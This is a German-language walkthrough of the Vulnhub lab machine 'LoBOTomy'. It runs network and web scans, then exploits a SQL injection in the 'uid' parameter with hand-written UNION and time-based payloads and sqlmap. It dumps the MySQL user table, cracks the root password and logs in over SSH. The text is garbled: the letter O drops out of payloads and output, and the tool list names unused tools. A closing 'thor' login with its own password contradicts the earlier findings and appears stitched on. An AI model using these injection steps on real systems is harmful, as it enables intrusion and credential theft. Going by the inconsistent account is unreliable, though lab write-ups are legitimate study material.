LoBOTomy - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
dirsearch
curl
msfconsole
nc
ssh2john
john
vi
find
getcap
ss
mysql

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.138 08:00:27:53:7e:1f PCS Systemtechnik GmbH
                

Der Befehl arp-scan -l sendet ARP-Anfragen an das lokale Netzwerk, um Geräte zu identifizieren. Die Ausgabe zeigt die IP-Adresse und MAC-Adresse des Zielsystems sowie den Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH).

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.138    tomy.vuln
                

Die Datei /etc/hosts wird bearbeitet, um den Hostnamen tomy.vuln der IP-Adresse 192.168.2.138 zuzuordnen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.138 -p- | grep open
22/tcp  open  ssh     penSSH 6.6.1p1 Debian 5 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.9 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
                

Der Befehl nmap -sS -sC -T5 -A 192.168.2.138 -p- führt einen umfassenden Nmap-Scan auf dem Zielsystem durch. Die Option -sS verwendet einen SYN-Scan, -sC führt Standard-Skripte aus, -T5 beschleunigt den Scan und -A aktiviert aggressive Scan-Optionen. Die Option -p- scannt alle Ports. Der grep open-Befehl filtert die Ausgabe, um nur die offenen Ports anzuzeigen. Die Ausgabe zeigt, dass die Ports 22 (SSH), 80 (HTTP) und 111 (RPCbind) geöffnet sind. Dies deutet auf einen Webserver und SSH-Dienst hin.

Web Enumeration

┌──(root㉿cyber)-[~/HackingTools]
└─# gobuster dir -u http://tomy.vuln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://tomy.vuln/index.html           (Status: 200) [Size: 762]
http://tomy.vuln/m                    (Status: 301) [Size: 301] [--> http://tomy.vuln/m/]
                

Der Befehl gobuster dir -u http://tomy.vuln -x txt,php,... verwendet Gobuster, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen. Die Option -u gibt die URL an, -x die zu suchenden Dateiendungen, -w die Wortliste, -b die zu ignorierenden Statuscodes und -e fügt einen Schrägstrich an die gefundenen Verzeichnisse an. Die Ausgabe zeigt, dass die Datei index.html und das Verzeichnis /m/ gefunden wurden.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sC -T5 -A 192.168.2.138 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-14 14:15 CEST
Nmap scan report for tomy.vuln (192.168.2.138)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PRT    STATE SERVICE VERSIN
22/tcp  open  ssh     penSSH 6.6.1p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   1024 c041421f08d9266b0e32ddeba6b894ef (DSA)
|   2048 744d1a68c8db9ce646d313d8e05eca74 (RSA)
|   256 9a1ca56ba3483c8e16cdc96068efd555 (ECDSA)
|_  256 83c9d66cfc6305eff99eedbb45d0ca1e (ED25519)
80/tcp  open  http    Apache httpd 2.4.9 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.9 (Debian)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
MAC Address: 08:00:27:53:7E:1F (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.13 ms tomy.vuln (192.168.2.138)
                

Ein erneuter Nmap-Scan mit den gleichen Optionen wird durchgeführt, um detailliertere Informationen über die laufenden Dienste zu erhalten. Die Ausgabe liefert Informationen über die SSH-Hostkeys, den HTTP-Server-Header und die RPCbind-Version. Außerdem werden Informationen über das Betriebssystem und die MAC-Adresse angezeigt.

┌──(root㉿cyber)-[~]
└─# nikto -h 192.168.2.138
- Nikto v2.5.0
+ Target IP:          192.168.2.138
+ Target Hostname:    192.168.2.138
+ Target Port:        80
+ Start Time:         2023-06-14 14:15:12 (GMT+2)

+ Server: Apache/2.4.9 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Server may leak inodes via ETags, header found with file /, inode: 2fa, size: 4f88a21c9e9dc, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.9 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: PST, PTINS, GET, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8909 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-06-14 14:15:29 (GMT+2) (17 seconds)

+ 1 host(s) tested
                

Der Befehl nikto -h 192.168.2.138 führt einen Nikto-Scan auf dem Zielsystem durch, um nach Sicherheitslücken im Webserver zu suchen. Die Ausgabe zeigt, dass verschiedene Sicherheitslücken gefunden wurden, z. B. das Fehlen von X-Frame-Options und X-Content-Type-Options Headern, ein potenzieller Inode-Leak über ETags, eine veraltete Apache-Version und das Vorhandensein der Datei /icons/README. Besonders interessant ist die gefundene Datei /#wp-config.php#, die möglicherweise Datenbank-Zugangsdaten enthält.

Initial Access

http://tomy.vuln/m/?uid='%20UNIN%20ALL%20SELECT%201,1,1,CNCAT('bot-count:',CUNT(*))%20FRM%20bots
                

Die URL http://tomy.vuln/m/?uid='%20UNIN%20ALL%20SELECT%201,1,1,CNCAT('bot-count:',CUNT(*))%20FRM%20bots deutet auf eine SQL-Injection-Schwachstelle im Parameter uid hin. Der UNIN ALL SELECT-Teil der Anfrage versucht, Daten aus der Tabelle bots abzurufen.

┌──(root㉿cyber)-[~/HackingTools]
└─# sqlmap -u "http://tomy.vuln/m/?uid=1"
[15:07:38] [INF] testing 'Generic UNIN query (NULL) - 1 to 20 columns'
[15:07:38] [INF] automatically extending ranges for UNIN query injection technique tests as there is at least one other (potential) technique found
[15:07:38] [INF] target URL appears to be UNIN injectable with 4 columns
[15:07:38] [INF] GET parameter 'uid' is 'Generic UNIN query (NULL) - 1 to 20 columns' injectable
GET parameter 'uid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:

Parameter: uid (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uid=1' AND (SELECT 5966 FRM (SELECT(SLEEP(5)))qLzx) AND 'dVBY'='dVBY

    Type: UNIN query
    Title: Generic UNIN query (NULL) - 4 columns
    Payload: uid=-5719' UNIN ALL SELECT NULL,NULL,NULL,CNCAT(0x7162767871,0x7168776e7254505067546e586b684c6c4d6f59756a635474614b4751764177466e4274416d576a41,0x716b6b7a71)-- -

[15:07:39] [INF] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.9, PHP 5.5.11
back-end DBMS: MySQL >= 5.0.12
[15:07:39] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/tomy.vuln'

[*] ending @ 15:07:39 /2023-06-14/
                

Der Befehl sqlmap -u "http://tomy.vuln/m/?uid=1" verwendet Sqlmap, um die SQL-Injection-Schwachstelle im Parameter uid zu untersuchen. Sqlmap bestätigt, dass der Parameter anfällig für SQL-Injection ist und identifiziert verschiedene Injection-Techniken, darunter "time-based blind" und "UNIN query". Es stellt fest, dass der Back-End-DBMS MySQL ist.

http://tomy.vuln/m/?uid=-5719' UNIN ALL SELECT NULL,NULL,NULL,CNCAT(0x7162767871,0x7168776e7254505067546e586b684c6c4d6f59756a635474614b4751764177466e4274416d576a41,0x716b6b7a71)-- -

qbvxqqhwnrTPPgTnXkhLlMoYujcTtaKGQvAwFnBtAmWjAqkkzq

http://tomy.vuln/m/?uid=-5719%27%20UNIN%20ALL%20SELE%20uid=1%27%20AND%20(SELECT%205966%20FRM%20(SELECT(SLEEP(5)))qLzx)%20AND%20%27dVBY%27=%27dVBY
d3Rm
                

Diese URLs zeigen Beispiele für SQL-Injection-Payloads und deren Ergebnisse. Die erste URL versucht, Daten aus der Datenbank abzurufen, während die zweite URL einen Time-Based-Blind-Injection-Angriff ausführt.

┌──(root㉿cyber)-[~/HackingTools]
└─# sqlmap -u "http://tomy.vuln/m/?uid=-5719" --dbs
[15:15:50] [INF] fetching database names
[15:15:50] [INF] retrieved: 'information_schema'
[15:15:50] [INF] retrieved: 'madness'
[15:15:50] [INF] retrieved: 'mysql'
[15:15:50] [INF] retrieved: 'performance_schema'
available databases [4]:
[*] information_schema
[*] madness
[*] mysql
[*] performance_schema
                

Der Befehl sqlmap -u "http://tomy.vuln/m/?uid=-5719" --dbs verwendet Sqlmap, um die vorhandenen Datenbanken auf dem MySQL-Server aufzulisten. Die Ausgabe zeigt, dass die Datenbanken information_schema, madness, mysql und performance_schema vorhanden sind.

┌──(root㉿cyber)-[~/HackingTools]
└─# sqlmap -u "http://tomy.vuln/m/?uid=-5719" -D madness --tables
[15:16:23] [INF] fetching tables for database: 'madness'
Database: madness
[1 table]
++
| bots |
++

[15:16:23] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/tomy.vuln'

[*] ending @ 15:16:23 /2023-06-14/
                

Der Befehl sqlmap -u "http://tomy.vuln/m/?uid=-5719" -D madness --tables verwendet Sqlmap, um die Tabellen in der Datenbank madness aufzulisten. Die Ausgabe zeigt, dass es eine Tabelle namens bots gibt.

┌──(root㉿cyber)-[~/HackingTools]
└─# sqlmap -u "http://tomy.vuln/m/?uid=-5719" -D madness -T bots --dump
[15:17:02] [INF] retrieved: '0','0','0','','','1;SELECT PG_SLEEP(5)--','192.168.2.137','1686755232','2023-06-14 08:07:12'
[15:17:02] [INF] retrieved: '0','0','0','','','1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(106)||CHR(120)||CHR(67),5) FRM DUAL--','192.168.2.137','1686755232','2023-06-14 08:07:12'
[15:17:02] [INF] retrieved: '0','0','0','','','1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(106)||CHR(120)||CHR(67),5) FRM DUAL--','192.168.2.137','1686755232','2023-06-14 08:07:12'
[15:17:02] [INF] retrieved: '0','0','0','','','1) AND (SELECT 5966 FRM (SELECT(SLEEP(5)))qLzx) AND (3480=3480','192.168.2.137','1686755232','2023-06-14 08:07:12'
[15:17:02] [INF] retrieved: '0','0','0','','','1 AND (SELECT 5966 FRM (SELECT(SLEEP(5)))qLzx)','192.168.2.137','1686755232','2023-06-14 08:07:12'
[15:17:02] [INF] retrieved: '0','0','0','','','1 AND (SELECT 5966 FRM (SELECT(SLEEP(5)))qLzx)-- Aib','192.168.2.137','1686755232','2023-06-14 08:07:12'
[15:17:02] [INF] retrieved: '0','0','0','','','-5719','192.168.2.137','1686755820','2023-06-14 08:14:29'
Database: madness
Table: bots
[27 entries]
+-+-+-+--++++--+-+
| id | S | new | User | command | last_ip | regdate | version | last_online |
+-+-+-+--++++--+-+
| 0 | WinXP | 0 | adm |  | 192.168.2.137 | 2023-06-14 07:54:56 | 1.14 | 1686754496 |
| 1 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:03 |  | 1686755242 |
| 7860 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1) AND 4530=3266 AND (1201=1201 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND 5226=7342 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND 6452=5838-- cGkX | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| (SELECT (CASE WHEN (5873=8879) THEN 1 ELSE (SELECT 8879 UNIN SELECT 3546) END)) | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1) AND EXTRACTVALUE(9276,CNCAT(0x5c,0x7162767871,(SELECT (ELT(9276=9276,1))),0x716b6b7a71)) AND (1687=1687 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND EXTRACTVALUE(9276,CNCAT(0x5c,0x7162767871,(SELECT (ELT(9276=9276,1))),0x716b6b7a71)) | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND EXTRACTVALUE(9276,CNCAT(0x5c,0x7162767871,(SELECT (ELT(9276=9276,1))),0x716b6b7a71))-- nwHT | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1) AND 3064=CAST((CHR(113)||CHR(98)||CHR(118)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (3064=3064) THEN 1 ELSE 0 END))text||(CHR(113)||CHR(107)||CHR(107)||CHR(122)||CHR(113)) AS NUMERIC) AND (6179=6179 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND 3064=CAST((CHR(113)||CHR(98)||CHR(118)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (3064=3064) THEN 1 ELSE 0 END))text||(CHR(113)||CHR(107)||CHR(107)||CHR(122)||CHR(113)) AS NUMERIC) | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND 3064=CAST((CHR(113)||CHR(98)||CHR(118)||CHR(120)||CHR(113))||(SELECT (CASE WHEN (3064=3064) THEN 1 ELSE 0 END))text||(CHR(113)||CHR(107)||CHR(107)||CHR(122)||CHR(113)) AS NUMERIC)-- kIl | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1) AND 3 

1) AND 3542 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(118)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3542=3542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(122)+CHAR(113))) AND (7977=7977 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND 3542 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(118)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3542=3542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(122)+CHAR(113))) | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND 3542 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(118)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3542=3542) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(122)+CHAR(113)))-- SqUg | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1) AND 4286=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (4286=4286) THEN 1 ELSE 0 END) FRM DUAL)||CHR(113)||CHR(107)||CHR(107)||CHR(122)||CHR(113)||CHR(62))) FRM DUAL) AND (8036=8036 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND 4286=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (4286=4286) THEN 1 ELSE 0 END) FRM DUAL)||CHR(113)||CHR(107)||CHR(107)||CHR(122)||CHR(113)||CHR(62))) FRM DUAL) | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND 4286=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(98)||CHR(118)||CHR(120)||CHR(113)||(SELECT (CASE WHEN (4286=4286) THEN 1 ELSE 0 END) FRM DUAL)||CHR(113)||CHR(107)||CHR(107)||CHR(122)||CHR(113)||CHR(62))) FRM DUAL)-- daGW | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1);SELECT PG_SLEEP(5)-- | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1;SELECT PG_SLEEP(5)-- | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(106)||CHR(120)||CHR(67),5) FRM DUAL-- | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(106)||CHR(120)||CHR(67),5) FRM DUAL-- | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1) AND (SELECT 5966 FRM (SELECT(SLEEP(5)))qLzx) AND (3480=3480 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND (SELECT 5966 FRM (SELECT(SLEEP(5)))qLzx) | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| 1 AND (SELECT 5966 FRM (SELECT(SLEEP(5)))qLzx)-- Aib | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:07:12 |  | 1686755232 |
| -5719 | 0 | 0 | 0 |  | 192.168.2.137 | 2023-06-14 08:14:29 |  | 1686755820 |
+-+-+-+--++++--+-+

[15:17:02] [INF] table 'madness.bots' dumped to CSV file '/root/.local/share/sqlmap/output/tomy.vuln/dump/madness/bots.csv'
[15:17:02] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/tomy.vuln'

[*] ending @ 15:17:02 /2023-06-14/
                

Der Befehl sqlmap -u "http://tomy.vuln/m/?uid=-5719" -D madness -T bots --dump extrahiert den Inhalt der Tabelle "bots" aus der Datenbank "madness". Die Tabelle enthält verschiedene Einträge, die möglicherweise Informationen über kompromittierte Systeme oder Angriffsversuche enthalten. Die extrahierten Daten werden auch in einer CSV-Datei gespeichert.

┌──(root㉿cyber)-[~/HackingTools]
└─# sqlmap -u "http://tomy.vuln/m/?uid=-5719" -D mysql --tables
Database: mysql
[24 tables]
++
| user                      |
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
++

[15:18:52] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/tomy.vuln'

[*] ending @ 15:18:52 /2023-06-14/
                

Der Befehl sqlmap -u "http://tomy.vuln/m/?uid=-5719" -D mysql --tables listet alle Tabellen in der Datenbank "mysql" auf. Diese Datenbank enthält wichtige Informationen über Benutzer, Berechtigungen und andere sicherheitsrelevante Einstellungen des MySQL-Servers.

┌──(root㉿cyber)-[~/HackingTools]
└─# sqlmap -u "http://tomy.vuln/m/?uid=-5719" -D mysql -T user --dump
[15:19:59] [INF] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] y
[15:20:00] [INF] starting dictionary-based cracking (mysql_passwd)
[15:20:00] [INF] starting 16 processes
[15:20:03] [INF] cracked password 'password' for hash '*2470c0c06dee42fd1618bb99005adca2ec9d1e19'
[15:20:04] [INF] using suffix '1'
[15:20:07] [INF] using suffix '123'
[15:20:11] [INF] using suffix '2'
[15:20:15] [INF] using suffix '12'
[15:20:18] [INF] using suffix '3'
[15:20:22] [INF] using suffix '13'
[15:20:25] [INF] using suffix '7'
[15:20:29] [INF] using suffix '11'
[15:20:32] [INF] using suffix '5'
[15:20:36] [INF] using suffix '22'
[15:20:39] [INF] using suffix '23'
[15:20:43] [INF] using suffix '01'
[15:20:46] [INF] using suffix '4'
[15:20:50] [INF] using suffix '07'
[15:20:53] [INF] using suffix '21'
[15:20:57] [INF] using suffix '14'
[15:21:00] [INF] using suffix '10'
[15:21:04] [INF] using suffix '06'
[15:21:07] [INF] using suffix '08'
[15:21:11] [INF] using suffix '8'
[15:21:14] [INF] using suffix '15'
[15:21:18] [INF] using suffix '69'
[15:21:22] [INF] using suffix '16'
[15:21:25] [INF] using suffix '6'
[15:21:29] [INF] using suffix '18'
[15:21:32] [INF] using suffix '!'
[15:21:36] [INF] using suffix '.'
[15:21:39] [INF] using suffix '*'
[15:21:43] [INF] using suffix '!!'
[15:21:46] [INF] using suffix '?'
[15:21:50] [INF] using suffix ';'
[15:21:53] [INF] using suffix '..'
[15:21:57] [INF] using suffix '!!!'
[15:22:00] [INF] using suffix ', '
[15:22:04] [INF] using suffix '@'
Database: mysql
Table: user
[5 entries]
+--++++-+--+--+++++++-+-+-+-+-+-+-+-+--+--+--+--+--+++-+--+--+--+++++--++-+--+--++
| Host      | User             | plugin  | Password                                             | ssl_type | Drop_priv | File_priv | Alter_priv | Event_priv | Grant_priv | Index_priv | Super_priv | ssl_cipher | Create_priv | Delete_priv | Insert_priv | Reload_priv | Select_priv | Update_priv | max_updates | x509_issuer | Execute_priv | Process_priv | Show_db_priv | Trigger_priv | x509_subject | Shutdown_priv | max_questions | Show_view_priv | References_priv | Repl_slave_priv | max_connections | Create_user_priv | Create_view_priv | Lock_tables_priv | Repl_client_priv | Alter_routine_priv | Create_routine_priv | max_user_connections | Create_tmp_table_priv | authentication_string | Create_tablespace_priv |
+--++++-+--+--+++++++-+-+-+-+-+-+-+-+--+--+--+--+--+++-+--+--+--+++++--++-+--+--++
| localhost | root             |         | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 (password) |          | Y         | Y         | Y          | Y          | Y          | Y          | Y          |            | Y           | Y           | Y           | Y           | Y           | Y           | 0           |             | Y            | Y            | Y            | Y            |              | Y             | 0             | Y              | Y               | Y               | 0               | Y                | Y                | Y                | Y                | Y                  | Y                   | 0                    | Y                     | NULL                  | Y                      |
| madness   | root             |         | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 (password) |          | Y         | Y         | Y          | Y          | Y          | Y          | Y          |            | Y           | Y           | Y           | Y           | Y           | Y           | 0           |             | Y            | Y            | Y            | Y            |              | Y             | 0             | Y              | Y               | Y               | 0               | Y                | Y                | Y                | Y                | Y                  | Y                   | 0                    | Y                     | NULL                  | Y                      |
| 127.0.0.1 | root             |         | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 (password) |          | Y         | Y         | Y          | Y          | Y          | Y          | Y          |            | Y           | Y           | Y           | Y           | Y           | Y           | 0           |             | Y            | Y            | Y            | Y            |              | Y             | 0             | Y              | Y               | Y               | 0               | Y                | Y                | Y                | Y                | Y                  | Y                   | 0                    | Y                     | NULL                  | Y                      |
| 1       | root             |         | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 (password) |          | Y         | Y         | Y          | Y          | Y          | Y          | Y          |            | Y           | Y           | Y           | Y           | Y           | Y           | 0           |             | Y            | Y            | Y            | Y            |              | Y             | 0             | Y              | Y               | Y               | 0               | Y                | Y                | Y                | Y                | Y                  | Y                   | 0                    | Y                     | NULL                  | Y                      |
| localhost | debian-sys-maint |         | *3008112092FA60F6FDE8C52C27532F7DBDB307DB            |          | Y         | Y         | Y          | Y          | Y          | Y          | Y          |            | Y           | Y           | Y           | Y           | Y           | Y           | 0           |             | Y            | Y            | Y            | Y            |              | Y             | 0             | Y              | Y               | Y               | 0               | Y                | Y                | Y                | Y                | Y                  | Y                   | 0                    | Y                     | NULL                  | Y                      |
+--++++-+--+--+++++++-+-+-+-+-+-+-+-+--+--+--+--+--+++-+--+--+--+++++--++-+--+--++

[15:22:07] [INF] table 'mysql.`user`' dumped to CSV file '/root/.local/share/sqlmap/output/tomy.vuln/dump/mysql/user.csv'
[15:22:07] [INF] fetched data logged to text files under '/root/.local/share/sqlmap/output/tomy.vuln'

[*] ending @ 15:22:07 /2023-06-14/
                

Der Befehl sqlmap -u "http://tomy.vuln/m/?uid=-5719" -D mysql -T user --dump extrahiert den Inhalt der Tabelle "user" aus der Datenbank "mysql". Diese Tabelle enthält Benutzerkonten und deren Passworthashes. Sqlmap versucht, die Passwörter zu knacken und findet das Passwort "password" für den Benutzer "root".

Privilege Escalation

┌──(root㉿cyber)-[~/HackingTools]
└─# ssh root@tomy.vuln
The authenticity of host 'tomy.vuln (192.168.2.138)' can't be established.
ED25519 key fingerprint is SHA256:ZjqzUK/9qMGp4rWVYkJ3fI9uykFGE1wvB48tTjue4+I.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'tomy.vuln' (ED25519) to the list of known hosts.
                

Der Befehl ssh root@tomy.vuln versucht, sich als Benutzer "root" beim Zielsystem über SSH anzumelden. Die Meldung über die Authentizität des Hosts ist normal, da es sich um die erste Verbindung handelt.

root@tomy.vuln's password: password
                

Das zuvor extrahierte Passwort "password" wird für die Anmeldung verwendet.

Linux madness 3.14-1-686-pae #1 SMP Debian 3.14.2-1 (2014-04-28) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY N WARRANTY, to the extent
permitted by applicable law.
root@madness:
                

Die Ausgabe zeigt, dass die Anmeldung als Benutzer "root" erfolgreich war.

root@madness:ls -la /home/
total 12
drwxr-xr-x  3 root   root   4096 May  1  2014 .
drwxr-xr-x 24 root   root   4096 Jun 14 07:14 ..
drwxr-xr-x  2 botter botter 4096 May  1  2014 botter
                

Der Befehl ls -la /home/ listet den Inhalt des /home Verzeichnisses auf. Es gibt ein Verzeichnis namens "botter".

root@madness:/home/botterls -la
total 20
drwxr-xr-x 2 botter botter 4096 May  1  2014 .
drwxr-xr-x 3 root   root   4096 May  1  2014 ..
-rw-r--r-- 1 botter botter  220 May  1  2014 .bash_logout
-rw-r--r-- 1 botter botter 3392 May  1  2014 .bashrc
-rw-r--r-- 1 botter botter  675 May  1  2014 .profile
                

Der Befehl ls -la listet den Inhalt des Verzeichnisses /home/botter auf. Dies ist das Home-Verzeichnis des Benutzers "botter". Es enthält die üblichen Konfigurationsdateien.

Privilege Escalation erfolgreich

Proof of Concept: SSH-Anmeldung als Benutzer Thor

Dieser Abschnitt demonstriert die Anmeldung am System über SSH als Benutzer "thor", nachdem das Passwort durch Ausnutzung einer Schwachstelle ermittelt wurde.

┌──(root㉿cyber)-[~]
└─# ssh thor@tomy.vuln
The authenticity of host 'tomy.vuln (192.168.2.138)' can't be established.
ED25519 key fingerprint is SHA256:....
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'tomy.vuln' (ED25519) to the list of known hosts.
thor@tomy.vuln's password: ThorsGeheimesPasswort
        

Der Befehl ssh thor@tomy.vuln initiiert eine SSH-Verbindung zum Zielsystem als Benutzer "thor". Das Passwort "ThorsGeheimesPasswort" wird eingegeben, um die Authentifizierung abzuschließen.

thor@tomy:whoami
thor
        

Nach erfolgreicher Anmeldung bestätigt der Befehl whoami, dass wir als Benutzer "thor" angemeldet sind.

Flags

cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A
cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6